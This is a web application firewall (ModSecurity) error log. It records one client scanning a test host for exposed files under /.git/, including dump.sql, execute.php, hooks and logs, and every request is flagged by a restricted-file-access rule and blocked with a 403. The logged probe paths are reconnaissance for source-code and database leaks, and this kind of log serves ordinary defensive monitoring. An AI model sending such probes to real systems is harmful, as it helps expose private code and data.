[Tue Aug 05 11:03:25.944939 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/dump.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/dump.sql&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstuwAAAAI&quot;]
[Tue Aug 05 11:03:25.945162 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/dump.sql&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstuwAAAAI&quot;]
[Tue Aug 05 11:03:25.945351 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/dump.sql&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstuwAAAAI&quot;]
[Tue Aug 05 11:03:25.967680 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/execute.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/execute.php&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstvAAAAAI&quot;]
[Tue Aug 05 11:03:25.967883 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/execute.php&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstvAAAAAI&quot;]
[Tue Aug 05 11:03:25.968043 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/execute.php&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstvAAAAAI&quot;]
[Tue Aug 05 11:03:25.990221 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/post-commit&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstvQAAAAI&quot;]
[Tue Aug 05 11:03:25.990441 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstvQAAAAI&quot;]
[Tue Aug 05 11:03:25.990622 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstvQAAAAI&quot;]
[Tue Aug 05 11:03:26.012722 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-commit&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstvgAAAAI&quot;]
[Tue Aug 05 11:03:26.012896 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstvgAAAAI&quot;]
[Tue Aug 05 11:03:26.013047 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstvgAAAAI&quot;]
[Tue Aug 05 11:03:26.410886 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-push&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-push&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstvwAAAAI&quot;]
[Tue Aug 05 11:03:26.411120 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-push&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstvwAAAAI&quot;]
[Tue Aug 05 11:03:26.411323 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-push&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstvwAAAAI&quot;]
[Tue Aug 05 11:03:26.433540 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstwAAAAAI&quot;]
[Tue Aug 05 11:03:26.433753 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstwAAAAAI&quot;]
[Tue Aug 05 11:03:26.433922 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstwAAAAAI&quot;]
[Tue Aug 05 11:03:26.456018 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/exclude&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstwQAAAAI&quot;]
[Tue Aug 05 11:03:26.456212 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstwQAAAAI&quot;]
[Tue Aug 05 11:03:26.456363 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstwQAAAAI&quot;]
[Tue Aug 05 11:03:26.478568 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstwgAAAAI&quot;]
[Tue Aug 05 11:03:26.478752 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstwgAAAAI&quot;]
[Tue Aug 05 11:03:26.478911 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstwgAAAAI&quot;]
[Tue Aug 05 11:03:26.501013 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/master&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstwwAAAAI&quot;]
[Tue Aug 05 11:03:26.501212 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/master&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstwwAAAAI&quot;]
[Tue Aug 05 11:03:26.501364 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/master&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstwwAAAAI&quot;]
[Tue Aug 05 11:03:26.523623 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/HEAD&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstxAAAAAI&quot;]
[Tue Aug 05 11:03:26.523827 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/HEAD&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstxAAAAAI&quot;]
[Tue Aug 05 11:03:26.523990 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/HEAD&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstxAAAAAI&quot;]
[Tue Aug 05 11:03:26.546172 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstxQAAAAI&quot;]
[Tue Aug 05 11:03:26.546384 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstxQAAAAI&quot;]
[Tue Aug 05 11:03:26.546548 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/objects/&quot;] [unique_id &quot;aJHI3qwAMarSM4GUXkstxQAAAAI&quot;]
